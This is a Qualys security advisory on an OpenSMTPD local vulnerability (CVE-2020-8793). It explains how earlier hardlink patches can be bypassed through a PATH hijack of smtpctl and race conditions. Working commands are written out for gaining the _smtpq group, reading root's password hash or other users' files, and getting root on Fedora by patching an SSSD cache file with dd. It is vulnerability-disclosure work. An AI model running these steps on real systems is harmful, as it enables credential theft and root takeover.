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Qualys Security Advisory

Local information disclosure in OpenSMTPD (CVE-2020-8793)


==============================================================================
Contents
==============================================================================

Summary
Analysis
Exploitation
POKE 47196, 201
Acknowledgments


==============================================================================
Summary
==============================================================================

We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server:
an unprivileged local attacker can read the first line of an arbitrary
file (for example, root's password hash in /etc/master.passwd) or the
entire contents of another user's file (if this file and
/var/spool/smtpd/ are on the same filesystem).

We developed a proof of concept and successfully tested it against
OpenBSD 6.6 (the current release). This vulnerability is generally not
exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by
default on most distributions. Surprisingly, however, it is exploitable
on Fedora (31) and yields full root privileges.


==============================================================================
Analysis
==============================================================================

In October 2015 we published the results of an exhaustive OpenSMTPD
audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt);
one of our key findings was:

------------------------------------------------------------------------------
Multiple hardlink attacks in the offline directory
...

In the world-writable "/var/spool/smtpd/offline" directory, local users
can create hardlinks to files they do not own, and wait until the server
reboots (or, crash OpenSMTPD with a denial-of-service and wait until the
administrator restarts it) to carry out assorted attacks.
...

2/ The following code in offline_enqueue() allows an attacker to
execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument
that is the hardlinked file's first line (CVE-2015-ABCD):
...

For example, an attacker can hardlink /etc/master.passwd to the offline
directory, and retrieve its first line (root's encrypted password) by
running ps (or a small program that simply calls sysctl() with
KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop:
...

4/ If an attacker is able to reach another user's file (i.e., +x on all
directories that lead to the file) but not read it, he can hardlink the
file to the offline directory, and wait for savedeadletter() to create a
world-readable copy of the file in this other user's home directory:
------------------------------------------------------------------------------

OpenBSD's patch for this vulnerability was threefold:

a/ They removed the world-writable and sticky bits from
/var/spool/smtpd/offline, changed its group to "_smtpq", and made
/usr/sbin/smtpctl set-group-ID _smtpq:

------------------------------------------------------------------------------
drwxrwx---  2 root  _smtpq     512 Oct 12 10:34 /var/spool/smtpd/offline
-r-xr-sr-x  1 root  _smtpq  217736 Oct 12 10:34 /usr/sbin/smtpctl
------------------------------------------------------------------------------

b/ They added an _smtpq group check to offline_scan():

------------------------------------------------------------------------------
1543                 /* offline file group must match parent directory group */
1544                 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid)
1545                         continue;
....
1553                 if (offline_add(e->fts_name)) {
1554                         log_warnx("warn: smtpd: "
1555                             "could not add offline message %s", e->fts_name);
1556                         continue;
1557                 }
------------------------------------------------------------------------------

This check (at line 1544) effectively prevents offline_scan() from
adding the filename of a hardlink to the offline queue (at line 1553),
because no interesting file on the filesystem belongs to the group
_smtpq.

c/ They added a hardlink check to offline_enqueue() (at line 1631),
which is called by offline_add():

------------------------------------------------------------------------------
1615                 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) {
1616                         log_warn("warn: smtpd: open: %s", path);
1617                         _exit(1);
1618                 }
1619
1620                 if (fstat(fd, &sb) == -1) {
1621                         log_warn("warn: smtpd: fstat: %s", path);
1622                         _exit(1);
1623                 }
....
1631                 if (sb.st_nlink != 1) {
1632                         log_warnx("warn: smtpd: file %s is hard-link", path);
1633                         _exit(1);
1634                 }
------------------------------------------------------------------------------

Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into
the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check
to time-of-use) race conditions. As a result, a local attacker can still
carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter)
described in our 2015 audit report.


==============================================================================
Exploitation
==============================================================================

a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and
specify a "-bi" command-line argument, then smtpctl calls execlp()
without dropping its privileges:

------------------------------------------------------------------------------
147         /* sendmail-compat makemap ... re-execute using proper interface */
148         if (argc == 2) {
...
164                 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-",
165                     (char *)NULL);
166                 err(1, "execlp");
167         }
------------------------------------------------------------------------------

We can exploit this execlp() call by specifying our own PATH environment
variable, and obtain the privileges of the group _smtpq:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john)

$ ln -s /usr/sbin/smtpctl "send-mail"

$ cat > makemap << "EOF"
#!/bin/ksh
echo "$@"
exec /usr/bin/env -i /bin/ksh
EOF

$ chmod 0755 makemap

$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
------------------------------------------------------------------------------

b/ The _smtpq group check is made only once in offline_scan(), but not
again in offline_enqueue() (which actually open()s the offline files).
Moreover, at most five offline files are processed concurrently; the
remaining files are simply added to the offline queue for later
processing. We can reliably win this first race condition:

- we create several large but sparse files (1GB each) in the offline
  directory (these files naturally pass the _smtpq group check);

- we SIGSTOP five of the offline_enqueue() processes that open() and
  slowly read() our large files;

- we wait until offline_scan() adds all of our remaining files to the
  offline queue;

- we replace these files with hardlinks to an interesting target file
  (for example, /etc/master.passwd);

- we SIGKILL the five stopped offline_enqueue() processes.

Finally, our hardlinks are processed by offline_enqueue(), and the
_smtpq group check is defeated.

c/ To defeat the hardlink check in offline_enqueue(), we create our
hardlink before the open() call at line 1615 (this increases st_nlink to
2), and delete it before the fstat() call at line 1620 (this decreases
st_nlink back to 1). In practice, we win this tight race condition after
just a few tries: our proof of concept fork()s a dedicated process that
simply calls link() and unlink() in a loop.

Moreover, if our target file is /etc/master.passwd, we can defeat the
hardlink check without a race: we hardlink /etc/master.passwd into the
offline directory (this increases st_nlink to 2), we run /usr/bin/passwd
or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases
st_nlink back to 1), and finally we SIGKILL the five stopped
offline_enqueue() processes.

------------------------------------------------------------------------------

For example, to read the first line of /etc/master.passwd (root's
password hash) with our proof of concept:

- First, on the attacker's terminal:

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)

$ ./proof-of-concept 20
...
ready

- Next, on the administrator's terminal:

# rcctl restart smtpd
smtpd(ok)
smtpd(ok)

- Last, on the attacker's terminal:

...
root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie &:/root:/bin/ksh

------------------------------------------------------------------------------

To read the entire contents of another user's file (for example,
/home/admin/deep.secret) with our proof of concept:

- First, on the attacker's terminal:

$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)

$ ls -l /home/admin/deep.secret
----------  1 admin  admin  125 Feb 15 00:52 /home/admin/deep.secret

$ cat /home/admin/deep.secret
cat: /home/admin/deep.secret: Permission denied

$ ./proof-of-concept 100 /home/admin/deep.secret
...
ready

- Next, on the administrator's terminal:

# rcctl restart smtpd
smtpd(ok)
smtpd(ok)

- Last, on the attacker's terminal:

...
This is the contents of the deep.secret file.  Only root may see this file.
-rw-r--r--  1 admin  admin  132 Feb 15 01:21 /home/admin/dead.letter

$ cat /home/admin/dead.letter
From: admin <admin () obsd66 my.domain>
Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST)

secret 2
secret 3
end of secret file deep.secret


==============================================================================
POKE 47196, 201
==============================================================================

On Linux, this vulnerability is generally not exploitable because
/proc/sys/fs/protected_hardlinks prevents attackers from creating
hardlinks to files they do not own. On Fedora 31, however, smtpctl is
set-group-ID root, not set-group-ID smtpq:

------------------------------------------------------------------------------
-r-xr-sr-x. 1 root root 303368 Jul 26  2019 /usr/sbin/smtpctl
------------------------------------------------------------------------------

Surprisingly, we were able to exploit this mistake and obtain full root
privileges:

- First, we exploited the Local Privilege Escalation in smtpctl to
  obtain the privileges of the group root:

------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john) context=...

$ ln -s /usr/sbin/smtpctl "send-mail"

$ cat > makemap << "EOF"
#!/bin/bash -p
echo "$@"
exec /usr/bin/env -i /bin/bash -p
EOF

$ chmod 0755 makemap

$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -

$ id
uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john) context=...
------------------------------------------------------------------------------

- Next, we searched for files that belong to the group root, are
  group-writable, but not world-writable:

------------------------------------------------------------------------------
$ find / -group root -perm -020 '!' -perm -02 -ls
  ...
  4811008      0 drwxrwxr-x   2  root     root           51 Feb 15 17:49 /var/lib/sss/mc
  4811064   8212 -rw-rw-r--   1  root     root      8406312 Feb 15 18:58 /var/lib/sss/mc/passwd
  4810978   6260 -rw-rw-r--   1  root     root      6406312 Feb 15 18:58 /var/lib/sss/mc/group
  ...
------------------------------------------------------------------------------

- Intrigued ("sss" stands for "System Security Services"), we dumped the
  contents of /var/lib/sss/mc/passwd:

------------------------------------------------------------------------------
$ hexdump -C /var/lib/sss/mc/passwd
...
00000060  10 00 00 00 e9 03 00 00  e9 03 00 00 1d 00 00 00  |................|
00000070  6a 6f 68 6e 00 78 00 00  2f 68 6f 6d 65 2f 6a 6f  |john.x../home/jo|
00000080  68 6e 00 2f 62 69 6e 2f  62 61 73 68 00 ff ff ff  |hn./bin/bash....|
...
------------------------------------------------------------------------------

- Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID)
  with zeros (root's user-ID):

------------------------------------------------------------------------------
$ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4 conv=notrunc
4+0 records in
4+0 records out
------------------------------------------------------------------------------

- Last, we executed su to re-authenticate as ourselves (as user john),
  but obtained a root shell instead:

------------------------------------------------------------------------------
$ su -l john
Password:

# id
uid=0(root) gid=1001(john) groups=1001(john) context=...
------------------------------------------------------------------------------

Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was
released and correctly made smtpctl set-group-ID smtpq, instead of
set-group-ID root.


==============================================================================
Acknowledgments
==============================================================================

We thank OpenBSD's developers, Todd Miller in particular, for their
quick response and patches. We also thank Solar Designer and MITRE's CVE
Assignment Team.



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Attachment: proof-of-concept.c
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